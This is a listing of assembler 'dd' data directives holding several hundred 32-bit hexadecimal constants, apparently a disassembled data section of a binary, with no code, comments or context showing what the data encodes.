		dd 80308D72h, 0D1FA90FCh, 0D8B0060h, 0DB0E22C9h, 0E9036DABh
		dd 57DF3F84h, 5F17570h,	4FE69AF5h, 0EE9860D6h, 8D00201Fh
		dd 68075642h, 1C26A433h, 599A0A7Ah, 20F469A1h, 0A8B04EF0h
		dd 2E6AB5Ch, 0FF63D510h, 9E22E01Bh, 55AF093Eh, 0BC107981h
		dd 4F01E1DFh, 0A9DA7408h, 98349350h, 2DD00063h,	0CD043C6Ch
		dd 31009BAEh, 16C687EDh, 0CBCEC23h, 69507754h, 98C037A0h
		dd 0F6C3301Ch, 0F75D33EEh, 0E0F9C636h, 20A6F0ECh, 69598A0Bh
		dd 0B9C40095h, 24CC5A63h, 1740A0C7h, 80401EF1h,	48F48DC9h
		dd 9057E90h, 0A07853E1h, 0CA7CB0C0h, 8E7086h, 0BE61DAEBh
		dd 64EC4FF1h, 0B8F3AA2Ch, 7203B00h, 17B721Dh, 3DDE3169h
		dd 508EB654h, 0CFFB2390h, 5C8D5A06h, 288CE2Fh, 0A149BEA6h
		dd 74708136h, 37AAA0C0h, 18F7EDF2h, 80A48F78h, 0D70097C6h
		dd 44B09AFBh, 6036E854h, 7904582Eh, 0F89C4580h,	4A335001h
		dd 6FC47739h, 10A549E1h, 0A960AB01h, 205F2410h,	901D42AEh
		dd 530083CAh, 6709B971h, 64EE0089h, 0DD608D1Dh,	5F0062BFh
		dd 742CF73Ah, 0DA9518h,	0E22BC451h, 0D550B9DFh,	1300AFB0h
		dd 0E78B8EBDh, 336A4ECh, 58BA4337h, 0D1E9CE93h,	9F80805Ah
		dd 0D44AFCF4h, 90905857h, 0C1A4B900h, 0A7B61F4Bh, 8CF81A00h
		dd 0B82DE402h, 0F9DCA028h, 906E48B5h, 0B7C0E500h, 21C42E73h
		dd 0FF0AE701h, 48BD6503h, 0B411D682h, 4055F6D9h, 7D27A75h
		dd 27CD982Bh, 3D926157h, 80AC47DBh, 96FDCF8Eh, 0FF59300h
		dd 2140D981h, 4D7FF202h, 0C50038D7h, 2BECFB1Ah,	0E2013946h
		dd 0BAEF553Eh, 0C8D0AD7Dh, 0FE7D1Fh, 0E5BB3CB3h, 60F9F07Ch
		dd 20B4309h, 20B08EC1h,	5E6FE28Fh, 8BCE0B55h, 0EE00654Ah
		dd 1D20C372h, 0B9F9E0Eh, 63122046h, 66EE7Bh, 0B41A324Eh
		dd 97402337h, 803A9E3Dh, 0D65693A5h, 1E2EDDF9h,	409106FCh
		dd 19FD68D4h, 0D80076FEh, 141BF77Ah, 7308EFh, 0E52F1104h
		dd 0A4239BE6h, 0A9DD0100h, 7A31DCD8h, 1137001Ch, 8EC39783h
		dd 0BD004348h, 0DFA71544h, 14D94DE4h, 0A82B7959h, 8B5D4E01h
		dd 0E008E0C3h, 3E0798CDh, 0B25C7291h, 77B91D40h, 0F0D043Ah
		dd 0C01A2460h, 27DE30CCh, 0A77C9601h, 9D25440h,	4FBB3860h
		dd 6ADC220Fh, 4D7553C0h, 0E7BC4C00h, 5980513Dh,	581900C6h
		dd 7AAEA1A9h
		dd 0D4B08C5Dh, 24B5ED48h, 0BE002447h, 9467B63Bh, 0C80F0AA1h
		dd 0D331C5h, 305BE477h,	2398DDE3h, 4E06807Ah, 7332E676h
		dd 0C3170048h, 34DFD8DEh, 867C1D75h, 0B8FA6401h, 5DE3222Eh
		dd 9837C08Fh, 0B67BBC80h, 0EA00A0A1h, 9D18F0B1h, 3D16F9Ah
		dd 94AF2B8Dh, 0D2C0074Dh, 8700F27Ah, 502F3DFFh,	0B89D35ADh
		dd 1FEF4BA8h, 0F9F180B8h, 0A65F582Bh, 4F645701h, 35BC7F9Eh
		dd 0EE9669C8h, 77924C74h, 48837900h, 156F2659h,	99214200h
		dd 0C135A977h, 0EC8F008Dh, 0E88E15Fh, 8101ED72h, 0A8D05636h
		dd 27E09CC2h, 96B279CFh, 10BD0BD4h, 3A70944Ch, 8465F900h
		dd 7519A064h, 9B210ED8h, 0E220380Ch, 0BACA2801h, 5B3D9800h
		dd 1CF826FFh, 3C03070Bh, 0DEBD908Eh, 31F90FA0h,	0A63DB3CEh
		dd 6F118056h, 0D5E7DC2Ah, 12DF424h, 6BF63C08h, 0E0CE25D8h
		dd 0C204382Eh, 7FCFF7D4h, 404A2480h, 0D9591EACh, 0B746000Bh
		dd 0F7D8516Fh, 0D0032890h, 97FD3750h, 94EBE0B8h, 0C1D20008h
		dd 36CA69AFh, 0B30F5F33h, 0EB3B3435h, 6268AF72h, 5AF546BCh
		dd 1B200044h, 1780BDAh,	923A3608h, 0EA5F8B6Ah, 0F4128038h
		dd 3AC225h, 275D0E11h, 4F91F5E4h, 795B4A00h, 0FC54CCEBh
		dd 45ED0071h, 0DFE9187Bh, 0A21FEAADh, 167C7AB2h, 0A8007E7Dh
		dd 28120CE8h, 37B83D79h, 0A40DDF00h, 0BB5278FCh, 1BDED405h
		dd 0B887126Dh, 0EC2B8B10h, 0D0A60428h, 90862F9Fh, 5AE930F8h
		dd 240072EEh, 18017E4Ch, 1332634h, 731E444Dh, 0FF5C50BDh
		dd 4C6B41B0h, 4A1C400h,	7BB8D913h, 75DE00E2h, 0C6353F6Ch
		dd 49072082h, 0C36158CFh, 5B8BFD10h, 64030039h,	0DA7A3E75h
		dd 0B9004090h, 0F84811FCh, 0F6B776C2h, 20F5A17Fh, 71610880h
		dd 0D4E588E8h, 89EB6900h, 8D128387h, 5CFD0F55h,	7BC04608h
		dd 8B8A151Ah, 83E6E800h, 0A7FAEC9Bh, 0D15607B1h, 7028D355h
		dd 0BE2FDE43h, 81F06C07h, 6B001B8Fh, 0FA373EA4h, 63C7EC51h
		dd 49F47163h, 8C774797h, 0D51D83D4h, 0DF1D8472h, 2E94AA1Fh
		dd 92690010h, 64C3E863h, 0DBEA3A5Ch, 1C20403Bh,	1023E630h
		dd 1F602994h, 8ADC2476h, 83202CF5h, 0D3E6638Ch,	0D46CF7E0h
		dd 0E04D8406h, 5C2070A0h, 0DD003BE8h, 744E897Ch, 0F0E86424h
		dd 0DE84B303h, 0A033D3C4h, 0A9C36B4Dh, 4C0C2D60h, 92D58407h
		dd 0ED908E47h, 0E89454h, 0CBCA3A9Dh, 0AAAFBE8Ah, 6CA00A60h
		dd 0A338B7h, 6A501AEDh,	8210356Bh, 0AD1F9809h, 89CD037Ah
		dd 37FE069h, 0FDB81F5Ah, 71600086h, 0DAEDE8A0h,	38207260h
		dd 0C06E6110h, 0AA5F7A90h, 89604603h, 0ACC92630h, 0EC623880h
		dd 7004D387h, 0E40CCFEh, 0A778416Eh, 9881DCB8h,	69E09049h
		dd 0A60C30BBh, 73A07740h, 0F1907154h, 244E1913h, 0F746E806h
		dd 9A163F9h, 89E610E8h,	0E5603DECh, 7C393A51h, 0C05B711Dh
		dd 72D37F70h, 8606BFAFh, 87938176h, 0F52E0141h,	0E36D0BB2h
		dd 1448BE69h, 1BA21F1h,	7A7D9EEAh, 989FAA73h, 36958122h
		dd 0BA38E999h, 71EE60h,	0FD67D77Dh, 923438A8h, 0E87EBB00h
		dd 0F9ED0360h, 1F2FC401h, 57667F26h, 6124093h, 89898F91h
		dd 17306858h, 5501EF0Dh, 8D2107F3h, 218073D1h, 5A305445h
		dd 0B4EE55C3h, 11E9EF0Ah, 79028CF3h, 0C06203B5h, 2B867Ch
		dd 5588E7CBh, 0A2C8F634h, 6182ED14h, 3E16984h, 0C608D33Ch
		dd 12417830h, 40769038h, 0A8D99730h, 0AC0CDE20h, 9F484D3h
		dd 3721C093h, 0DE2BA8E1h, 854B1D12h, 0F3ED0807h, 23FD9453h
		dd 23260551h, 0F4DE1D05h, 222828h, 42FEA8DCh, 3F13C138h
		dd 99A901F9h, 9130DE00h, 1A259403h, 0E044CDC8h,	25F09h
		dd 62AC9F5Ch, 71C50181h, 86B9D807h, 0EF73BDB2h,	0CD80CD26h
		dd 523688h, 0DEE5835Ch,	7BF73B53h, 1569E400h, 3DD32CACh
		dd 23F40062h, 0B2CB2491h, 0C41F65D2h, 0DDC06F61h, 41E4CA8Eh
		dd 3B4A00E8h, 0D3042EC7h, 0D4094BB0h, 80C57B01h, 6510D13Ah
		dd 6A713E9Ah, 0FB46A6h,	4E860631h, 88EE89FBh, 2B3A7F00h
		dd 0E638F695h, 0A2D1F502h, 7536F4h, 5806D901h, 654607BBh
		dd 42BFFF00h, 0FB6EC29Ah, 1E4C3785h, 7108360h, 5BD01AA8h
		dd 9BBE6B3Ah, 0DB18E98Eh, 0ED5FD8A2h, 0D3FF039Ah, 32E2D5FAh
		dd 69511BF8h, 3964C800h, 0D49E5C40h, 0ECF9189Fh, 16588E1h
		dd 64484609h, 58067FC4h, 316919D0h, 7801D522h, 86D5602Fh
		dd 2798D3E9h, 58AC0391h, 0EC531751h, 922B0D90h,	1065D328h
		dd 5D58AE08h, 0EE3F001Ah, 0ED6DCB63h, 0BCF08403h, 0BEB8CCDh
		dd 76AC2BC1h, 3904480h,	19C0E5A7h, 0D831830Ch, 0DE413B3Ah
		dd 11434480h, 13CA6130h, 57E6C000h, 0D0C50222h,	0C321000Eh
		dd 71B6174Bh, 0F91D3648h, 8E004F23h, 473E6E7Bh,	0EE50193h
		dd 0F6CD786Ah, 35C4D069h, 580020D3h, 0BC792647h, 0E9C71F31h
		dd 1BFA4BFh, 0C68C8E18h, 4E288021h, 0FB30CB56h,	17B106BBh
		dd 8C9A352h, 208A7F30h,	30F2E1h, 0B42CC781h, 504F28D7h
		dd 1F27C600h, 0B826DDFBh, 0A3932671h, 244007A2h, 364E6006h
		dd 8D00F8E4h, 513F18B7h, 1B3CC430h, 888EC7D1h, 904EC932h
		dd 30CF3080h, 0D1BC1711h, 0DD808288h, 0F91230F6h, 29C5005Dh
		dd 0BF31B2F8h, 7230F0B9h, 0E1346859h, 4846E0A7h, 0C0744354h
		dd 0EB9D8E90h, 30001DD1h, 0E44176A1h, 15857A7h,	0CA227028h
		dd 30486E44h, 85005D3Dh, 0B3E771B4h, 0F3F62D8h,	9B7C4024h
		dd 0E8576006h, 0C73C1F00h, 0FF7A3966h, 61101DCh, 67608B46h
		dd 53FD3072h, 80861C3Ch, 23EE7E7Ah, 25EC258h, 0C413D7A8h
		dd 72C30D3Bh, 3155D898h, 700E38h, 43A3F08h, 74819EFh, 0CE62BFE4h
		dd 29A3037h, 0E0F28382h, 8BEE801h, 0B236AFDh, 56E07F8h
		dd 65B75330h, 4CC0EA47h, 0EF1611h, 0D04C54EEh, 0E1775BA9h
		dd 0DC5D900h, 0C8FD426Ah, 0C420004Bh, 1524E675h, 0A916B28Bh
		dd 0D40CC956h, 3B2218B0h, 0C100EA23h, 5B9728D9h, 0BD1843F7h
		dd 0F459562Bh, 0F01800CEh, 26F624DAh, 0AD7E44EBh, 6000BEAh
		dd 35CF54D5h, 0EE4B60EEh, 0C0C274F1h, 78B44C38h, 4D3BE7FDh
		dd 0DD621D41h, 0DB49A781h, 52DC1465h, 0ABC300F3h, 88B773CAh
		dd 24019841h, 0BF655EC0h, 0EFFC56CFh, 28C1C09Fh, 0E5B56683h
		dd 6D20CE00h, 9009A31Fh, 0D33331F7h, 0E0EF4CD8h, 6F00D2A8h
		dd 0D9DAD5A5h, 0BE54D7h, 66225C69h, 0D4F9ABC1h,	0DB2E60Dh
		dd 1EECC1E3h, 0FAB30CACh, 7E88D64Bh, 0E2AE9306h, 210A8E7h
		dd 555A4651h, 8CA0C353h, 1A2BD9CBh, 406F9F7Eh, 4B3B80F0h
		dd 0A3B236h, 0C4D46221h, 2008CCECh, 8BDE2D00h, 548347DAh
		dd 0D0CD3E25h, 9AC4448Eh, 40FF3967h, 82950152h,	7465E00h
		dd 493440FEh, 6B2C3D08h, 7D4D1882h, 97609913h, 5500F875h
		dd 46B7B301h, 78042AE4h, 9B190731h, 13D98C08h, 0ACF005D6h
		dd 0D81668FDh, 420376BFh, 3779588h, 12C63149h, 0C7B825DBh
		dd 0F4008C44h, 85C58003h, 1CE633Dh, 31D4FAD5h, 0F476AA54h
		dd 2C601728h, 0A6AFA769h, 1FC00005h, 5263B382h,	0DB7A0ABFh
		dd 315C9500h, 48A1EED2h, 1BFF06DFh, 0E89228BDh,	3596D600h
		dd 0A5190653h, 0B10344B0h, 5BDDB700h, 0EB8EE1A4h, 5C8A00A9h
		dd 71FEE67Dh, 0EE00C9E0h, 0BBA7D7AFh, 71E7FC94h, 1CB27AEBh
		dd 0C116BC24h, 0A460E038h, 448A1DFh, 60BFB170h,	368710D0h
		dd 811DABB4h, 8D07EFF2h, 88D0B8DDh, 0FB17DC0h, 0A6E9C2D5h
		dd 2962BE1Dh, 7A21AC43h, 0E902C15Dh, 0AC6FB913h, 0C3123702h
		dd 0CD511098h
		dd 8C3100D5h, 7487EC4Ah, 63380116h, 0FB24BE65h,	1D26D8BFh
		dd 56B4B700h, 23CDF0B6h, 965F0097h, 425ACA32h, 0B303677Ch
		dd 0A55563A9h, 8F06803Ch, 378B092h, 7F3D1B9Bh, 0F0785C23h
		dd 12B54B00h, 26A085B6h, 33C0F9Fh, 0B140B2CFh, 68B8A36Fh
		dd 4EECA25Eh, 5E886D00h, 0C6D71DA7h, 78003073h,	69539CEBh
		dd 9F4ABCh, 6FB086D4h, 0C6742885h, 9AA582Ch, 35A9FA00h
		dd 1C8D0956h, 0C02F125Fh, 616C0531h, 6A00B73Dh,	703E5080h
		dd 0E8A664h, 518B1CCBh,	67A85C9Ah, 0D388EE01h, 5E5A22D9h
		dd 7D25D440h, 261C4802h, 4AB19903h, 7A1C8ED7h, 0BAC01254h
		dd 28B4ED10h, 0BE5FCCEh, 212331C6h, 4B803700h, 0E100870Dh
		dd 34446625h, 866ED8h, 0C22F4915h, 5B6A73A3h, 0D3FC3F00h
		dd 0EE37ACB8h, 289900DBh, 756FE9F1h, 7F007B2Dh,	3C8D8C0Fh
		dd 8A7EAEh, 0FD3D869Ah,	32F1ED1Fh, 1A00F6E0h, 1E7125Dh
		dd 90A7F74Dh, 1B4C012Ch, 85589C1Eh, 7473F8E6h, 0B104E00h
		dd 2DD67950h, 46C53907h, 139D8000h, 23696FA7h, 0D16A9A00h
		dd 0F73FB72Bh, 0F809853h, 0A1D6F00Ch, 0AB5159A0h, 0E4E5ECAAh
		dd 6D004FE2h, 979B201Ah, 1E1738D0h, 4BB4819Dh, 2383CB8Fh
		dd 1C88D3Fh, 1071886Eh,	4008CFAh, 0D6ECF256h, 7B1C5D8Ah
		dd 0B5030069h, 43E22506h, 4100A83Ch, 0F1BB160Dh, 66D62Dh
		dd 3B1062ABh, 266BDBDEh, 61C34F03h, 9881EFF7h, 4CAB905Ah
		dd 0E400BB5Eh, 35D53894h, 9F009E3Dh, 0ED74AAE2h, 13177Ah
		dd 5E041EB9h, 4385DE6Ah, 95D64700h, 0CEB62C8Ch,	56DC005Bh
		dd 68548B58h, 34003D10h, 757E2350h, 0F64083h, 27C49192h
		dd 5FC0BEF0h, 48679C00h, 85C7E770h, 291D0081h, 0A34A3CB3h
		dd 0F800F691h, 0C4A86B84h, 0A0517BBBh, 90A05DA3h, 0C0821F30h
		dd 9A794738h, 0E9C650D3h, 6E0011EBh, 6C7E8D04h,	7AAA0Fh
		dd 27924577h, 1A53C80Ah, 56F2F104h, 0DC801973h,	72A546Bh
		dd 0DD0D8802h, 27CD206Fh, 73E02128h, 13235612h,	0A41DB40Eh
		dd 0D9802F80h, 7882F3h,	96AFFD7Ch, 1224C76h, 4895071Ch
		dd 0F9E0A0C0h, 1410C7DAh, 0D4CE7058h, 0C0D4E31Dh, 87AD377h
		dd 1201638Eh, 0BA34C640h, 8C30829Ah, 0F45FC87h,	0C9A8A737h
		dd 0D1479BE0h, 4E003502h, 0EA06BE5h, 6081D4h, 2B386DDEh
		dd 0E17817B0h, 30257600h, 0BCC784DDh, 46E3009Dh, 59B54DA6h
		dd 5D01A510h, 7B04C30Ah, 807F2C09h, 0F6239439h,	485BEA00h
		dd 771B8BBDh, 67C0043h,	0F04CF383h, 0C800818Ah,	0B703A960h
		dd 169712Dh, 0C027337Dh, 0CC7A5EF7h, 57394AD3h,	117380A5h
		dd 0E60F31B3h, 606D02C5h, 0E833B8DAh, 775AAE40h, 0FA076400h
		dd 0B7ABDCD0h, 2856000Bh, 43E9B9DBh, 15016C8Ah,	0FCBBC15Fh
		dd 0A1F43436h, 44984C8Ch, 70937B00h, 6CA44A25h,	63021900h
		dd 5A86850Dh, 22391279h, 1FDC01EBh, 803D0121h, 0AAEF9D8h
		dd 0EC155EA2h, 55BD00BBh, 0C5FE97C3h, 6B04F282h, 8C4D0799h
		dd 51306FBh, 71E019F5h,	63734114h, 8E1100F3h, 98A840E4h
		dd 4506002Ah, 55668C2Eh, 0D600DD35h, 0A54F4164h, 821986h
		dd 983EB9E1h, 0D5041048h, 0E340F202h, 684B7574h, 0AF72F4h
		dd 0A5F49B56h, 3C46AE84h, 0C504D200h, 224455F0h, 0C988001Ch
		dd 62C1454Ah, 0E6A0A5CDh, 7100B71Eh, 50188FB9h,	0CBB0E4h
		dd 77D4635Ah, 5361093Dh, 6437A800h, 3842A366h, 0DE880018h
		dd 0FEEAF872h, 7F01F3C6h, 0ED26FF53h, 30605E65h, 1D27F9Fh
		dd 17098F24h, 0EC3907D0h, 7700DD08h, 49DAFA2Dh,	98B07C4Eh
		dd 6BDC0267h, 57F8977Bh, 0AE94F8C0h, 9DC74A00h,	0E9F67990h
		dd 92C0002h, 0F79B63E0h, 4FF0DAEEh, 0B80D1C3Dh,	8FB50F20h
		dd 7603B68Ch, 887D01ADh, 0A2B1E5Dh, 1F17E50Eh, 76E40EF8h
		dd 0DCB66BC0h, 0FC30BDCDh, 9D3F3833h, 9E94001Dh, 511B3639h
		dd 200F0A02h, 87C3FDADh, 0F7B271D2h, 14D96045h,	0BEDA0156h
		dd 18EB3510h, 0E94C0B9h, 0A371B400h, 8BC2070Ch,	32BD0078h
		dd 0B1C529ADh, 0A00023FEh, 0F4C3B511h, 0B249E9h, 0E6F94CE0h
		dd 1E29B9AFh, 1B840800h, 60BB61D8h, 0ABC0040h, 0CF6DA03Ch
		dd 9700815Fh, 0B5B7497Ah, 0E2185073h, 0B490F5h,	66CE6414h
		dd 93872A23h, 1F1A2E03h, 0F0CD573Bh, 0CF650Dh, 0F5ECD972h
		dd 0FCD3405Ah, 1DB1064Ch, 2009E34h, 0D7F83CCh, 0EDCB8DAh
		dd 6174E1A1h, 0E004DCE7h, 7A07CB6h, 9C0065F6h, 0FA3CE254h
		dd 751A5185h, 53C01437h, 4400B03Fh, 842E9456h, 0EE4C782Ch
		dd 4D4F0048h, 8F4E119Dh, 949E003Fh, 2684E6E7h, 7B04085Fh
		dd 0CDFD92A0h, 70B23FC0h, 0F0031EA5h, 820C026Ch, 0EA819508h
		dd 0C42D5FFAh, 8E00BD26h, 54FBB029h, 0EC93F3BFh, 68790042h
		dd 9951EB5h, 410F770Bh,	1A3D356h, 5C0226EDh, 3D1FFE8h
		dd 0FBA4F61Fh, 581F946Dh, 5D403D78h, 5F0C4BC7h,	46EC53h
		dd 6A37ABAFh, 0A4866D7Dh, 960064E6h, 0D7C02AF7h, 0B45B6E9h
		dd 0B5EE9B1Eh, 3FD198A1h, 0BF42410h, 7C3BB403h,	0F02C859Ch
		dd 3E6CF7FAh, 0A702C44Dh, 0A5BC311Ah, 615976E0h, 392D1307h
		dd 0DB10057Ah, 12946720h, 8124C5A9h, 0D037FA4Ch, 0D21E6E87h
		dd 2103637Bh, 0B8E35BB3h, 607C9B5h, 8FB65A67h, 0BF01C0BCh
		dd 28BEFB24h, 91E81E2Bh, 8CCC004Fh, 78D2626Ch, 5B007584h
		dd 0E57FCDDEh, 2B65Dh, 0BA3823BFh, 0E0B9EE40h, 3AA57E00h
		dd 6071B111h, 9AB303F1h, 8168E327h, 6075E6B1h, 0E004068h
		dd 77203188h, 3DABBBh, 6194BDE9h, 0AFAC8598h, 7F9D9000h
		dd 2E769272h, 96B200CBh, 7DE6866Fh, 0D800DA40h,	922CA851h
		dd 0E8AF0C39h, 0E790F65h, 3AC0A525h, 0DD4DF41Fh, 0DA35FD00h
		dd 0F18AC497h, 8C573023h, 0E0D66240h, 0E57CD128h, 195D2E30h
		dd 0CC4770h, 0CA815A3Bh, 2756C80Eh, 0D81CB77Ch,	0E7C0E306h
		dd 0EE15454Eh, 13370023h, 78082298h, 7BEAB74Ah,	910E5C00h
		dd 6C74BAD8h, 70AC0151h, 0E427615Fh, 1064204Ch,	90186F07h
		dd 38005220h, 968B4187h, 59C30028h, 0BB03B68Ah,	0F98ED407h
		dd 9973FCAh, 0D96F97C0h, 63F25Fh, 75F889D6h, 305A0F1Ch
		dd 8D221912h, 0BE875800h, 1ECE773Ch, 83519D4Eh,	0E620D982h
		dd 3DF600Bh, 0E58AF46h,	938920F1h, 1801AB57h, 1897EFB4h
		dd 473A03D1h, 67E10A6Eh, 0D906183Ah, 49A809h, 0C4BF8D50h
		dd 88C07D25h, 0A638BBF2h, 7323003Bh, 9AEF8E53h,	0BDA81F61h
		dd 67AD400Eh, 0E1498BDBh, 66785F50h, 50E41900h,	0F0FB773Fh
		dd 78450E4Ch, 14202AECh, 18A59FD9h, 8C510401h, 15ABD05Bh
		dd 7FE2048h, 28EE57BDh,	8C1DC30Ch, 0AA761901h, 497BDF77h
		dd 90A1B1C0h, 0D9A607BFh, 0E0590AE0h, 66F199Fh,	91C95400h
		dd 4BA735CEh, 83720066h, 5B67F6AAh, 0BF007184h,	779EC329h
		dd 3C38BDh, 4CC1BC4Bh, 4AB44182h, 992C1400h, 9B251D44h
		dd 0DCDD0012h, 56E040C3h, 0B000DB91h, 77FF5145h, 0E8E2EAh
		dd 0DA13249Ah, 73FEFC31h, 0B518D500h, 0E36283F9h, 0DB6B3E94h
		dd 38471D80h, 0C3EA54CBh, 7786F600h, 0B74C632h,	45FE004Dh
		dd 4F35CA8Fh, 600B979h,	5DA1DDB1h, 851847h, 97A3FED4h
		dd 8FAF320Ch, 0A26C9800h, 9D58E520h, 5507EC74h,	33F4E4D0h
		dd 6D7212h, 0EEA83B8Dh,	4D101A34h, 60EB0C00h, 0BC855499h
		dd 62E00CC2h, 3F387201h, 0A239E112h, 0E2030C40h, 198CA76h
		dd 0EFF39CF9h, 0F4D516B5h, 2F0A7E3Dh, 0E06813A7h, 4EF29A04h
		dd 9C50C8h, 0ABD6467Dh
		dd 80D8102Fh, 0CEC75A00h, 5666751Ah, 6F8E00B2h,	87E30390h
		dd 900D8C0h, 9685B171h,	78D95Dh, 931FEF60h, 0D89DD073h
		dd 805C00Eh, 0E1DB4C3Ah, 0BBBC0148h, 17A1F4B3h,	91B6D43Eh
		dd 0F19FE700h, 9EE60F7Fh, 93601709h, 505A00C7h,	0A80A22E8h
		dd 97DD50C7h, 13FAD990h, 74A70704h, 40687671h, 93CAD581h
		dd 75B852C6h, 31380210h, 4053AE43h, 1EE0D163h, 0EE5C5C4Ah
		dd 8C6A3F1Eh, 3822E192h, 0D3B30038h, 7DD58E8Fh,	7E002C67h
		dd 0F01C6387h, 60858070h, 0D3A5328Dh, 12008C27h, 0EAB17A9Ah
		dd 687C7495h, 5F041015h, 0B794C506h, 43D0010h, 701B54AAh
		dd 17006CA8h, 2564529Ah, 0C52883h, 7C348B95h, 555F923Ah
		dd 6D5C28C4h, 0A905CE00h, 0B00E575h, 0BBE14145h, 209463Ah
		dd 0DF7093DEh, 9EC08E61h, 13032966h, 0B9C2BD95h, 2A30AF58h
		dd 12CDC5h, 197BE74Dh, 0A88274E6h, 56589B00h, 300ED41Bh
		dd 2FDC015Ch, 0FCBE4749h, 0BCF9C02Eh, 5D6A1603h, 881E649Ah
		dd 7A2691E8h, 384E3C40h, 0BA81280h, 0CEBAF2D1h,	2DECA400h
		dd 4F27BCFAh, 845100E5h, 63670BF1h, 0D400CE23h,	99D29DFCh
		dd 0DA5A29h, 11CA0A3Eh,	0DF8ED530h, 60347400h, 0BE900EABh
		dd 582700C7h, 0A46C9E4h, 98004FD7h, 41844E29h, 7D563Ch
		dd 0A7B66AA4h, 157F2CD3h, 0D2E3E600h, 8805C10Dh, 3B0C7075h
		dd 0CD1E385Ah, 78655878h, 7001639Bh, 0D0D35FDBh, 0BFC8F7D4h
		dd 5BD03C8h, 0A75AE301h, 0B1425B90h, 380D71Eh, 4A4F0DC1h
		dd 0BDCC5CA6h, 20FD0379h, 0E92DE062h, 605A06F9h, 69006C49h
		dd 0A5AC2449h, 17B291D7h, 0E7E31Bh, 4F823813h, 0C905292h
		dd 0F1EDA600h, 0ADF3FDD2h, 0A3991479h, 9100EC42h, 0C9171038h
		dd 5F00B595h, 6DEA716Fh, 4C6E2D05h, 42009690h, 2ABA965Dh
		dd 210A63FFh, 0E8CA4CE7h, 1FA37E80h, 86FE8Eh, 5B29EC8Fh
		dd 80540255h, 6D620600h, 0DAD6A375h, 77CA0020h,	93CD2E1Dh
		dd 0AA3CBAB8h, 809BB95Eh, 204851A4h, 1E61D4A7h,	3979608h
		dd 9BA2410Eh, 821480C4h, 401C17F6h, 7BC0DD24h, 67A91ED7h
		dd 48C0988Bh, 410FCC9Dh, 0AFA19032h, 20B1FBC0h,	85001F84h
		dd 0F80E69C1h, 0FA559Dh, 538D0568h, 48240BC9h, 4134F00Eh
		dd 714CE0A0h, 1DB2DEh, 80D5893Ch, 8DC32E2Ah, 0A8183170h
		dd 5DD06E5Ch, 0CDAB007Eh, 0CE277356h, 0DE1D8EDAh, 3A80A4EDh
		dd 18148930h, 0AB90A0B6h, 2A740761h, 0D0206A9Bh, 7D8DDDB0h
		dd 474ECCA0h, 7E1A0E00h, 2D2902D3h, 282000C4h, 7A4B75C1h
		dd 670024C8h, 0DBC778BCh, 0FC9EAFA1h, 2479F8C0h, 7C8006h
		dd 0FB1845C9h, 6A00DCCAh, 50CF3ACBh, 7875C76Bh,	7CAE004Ah
		dd 68747633h, 0EF720BA6h, 0E093C400h, 9BC862E2h, 2DE9001Ch
		dd 8C159FA1h, 644DD7B0h, 40440028h, 921E059Bh, 0CE9FC5Eh
		dd 7F75706Ch, 2F00E268h, 847B7C50h, 3560A3h, 0DC147611h
		dd 0B4E5EEA4h, 0E3EDA801h, 10D003B5h, 0B0DF5031h, 0F89D64h
		dd 0F6CF8816h, 0C9CA25B8h, 9B0BBAE0h, 802135A2h, 819830D0h
		dd 0B18B3094h, 4631E9E8h, 9625FE03h, 0F8BFA08Dh, 8C76F2h
		dd 16A2AC91h, 828BC7A8h, 41EB590Bh, 0E3EE00D0h,	1DF1F90h
		dd 32E9AC79h, 2098F373h, 0F600030Ch, 8CF26DE5h,	6F89E1h
		dd 461609FFh, 3D98DFFDh, 0D628A52Fh, 7560009Ch,	1061C6C2h
		dd 94C9BD00h, 51D1125Dh, 3CF40036h, 376681B0h, 0AB3A7DA2h
		dd 809E3E09h, 0D39BC5CDh, 58D1D628h, 0D50023A6h, 4D914ADDh
		dd 0CC0319B1h, 820E5A04h, 74D1B040h, 1E8C907Fh,	30636Fh
		dd 3990F42Ch, 0A2012596h, 356E57DDh, 45DC92EDh,	40D10193h
		dd 0F64BB3D6h, 9860DC2Fh, 88A63700h, 0F48EE89Ch, 0BE1E02DDh
		dd 6AB485A7h, 3569AB40h, 0D222EE04h, 80C03378h,	32C5BC7Ah
		dd 351193AEh, 0A000025Ch, 79A380A6h, 0E93D2ECDh, 0A78900F6h
		dd 310BF0FDh, 0E342960Bh, 0F24020AEh, 50DC81A9h, 785ACA61h
		dd 237FE22h, 0FC24B5E1h, 99C2FE0Eh, 0F4064441h,	2D00DE36h
		dd 51B4D005h, 0F675ECh,	0B3A6B0BAh, 5BAD154Dh, 0F7830F2Eh
		dd 6F704E00h, 16B3F26h,	7EEE5AFEh, 0C5CDE905h, 0C4F54015h
		dd 0E4006A08h, 40807ACFh, 86CC10h, 0CE53DBA6h, 967555Ch
		dd 1EB91507h, 14002D75h, 912C839Fh, 1C6007F0h, 5CADE089h
		dd 2003D5EBh, 0BBD73B43h, 0C853DA57h, 608EB1B0h, 0E4626438h
		dd 1FFC56DDh, 86A60801h, 0EAC13609h, 1BB3AECh, 0F9993B3Ch
		dd 0C4F6C859h, 0B500C768h, 5E91F1FFh, 0C0860335h, 0AF569A80h
		dd 0A4A81D93h, 26304E92h, 80AD707Fh, 0C7DF07FEh, 41C4F170h
		dd 410C92C9h, 40B1AF10h, 468F981Ch, 6774407Bh, 6F2F4448h
		dd 839FEF18h, 0D0F2482Eh, 0B06B2A29h, 0B7A000D8h, 0C5BBA7AFh
		dd 9A7BA4F0h, 0BE00FDF8h, 0E7AC5E3Bh, 0B0602018h, 6970F45h
		dd 0FC005D98h, 62C77C40h, 0DE2E3307h, 2F99A69h,	86961C9Ah
		dd 7D8894Ch, 1D13C74Bh,	9D8BC106h, 6E56D077h, 0FD89960Bh
		dd 1554A0DCh, 5887609h,	0D201D34Dh, 310C01DFh, 809868E1h
		dd 96BA40C0h, 10CA7Eh, 0A66E2CFAh, 3EC39939h, 29B6E900h
		dd 0F580B965h, 42010052h, 35771C7Eh, 0FD0191DDh, 8E9C5F39h
		dd 4CC02413h, 3A540049h, 8BE1CFA2h, 5500F8F6h, 3BB0FCC4h
		dd 2F6286h, 51783269h, 27AD748Ah, 88C08400h, 55362D47h
		dd 14A0005h, 0C3736B97h, 8C0611FEh, 7936429h, 4C5E003Eh
		dd 4F5CA77Bh, 8B001BA4h, 0C048612h, 14D0D39h, 83DD59C7h
		dd 0F09A7E7Ch, 0F7C65CFh, 487DA405h, 0A4402172h, 3ADC371Ah
		dd 0FCE028C4h, 0F1283AD8h, 80D04E26h, 0DDC2F6Dh, 920097DAh
		dd 33875F9h, 7801C790h,	0D860C171h, 1692BCCh, 38805C3Eh
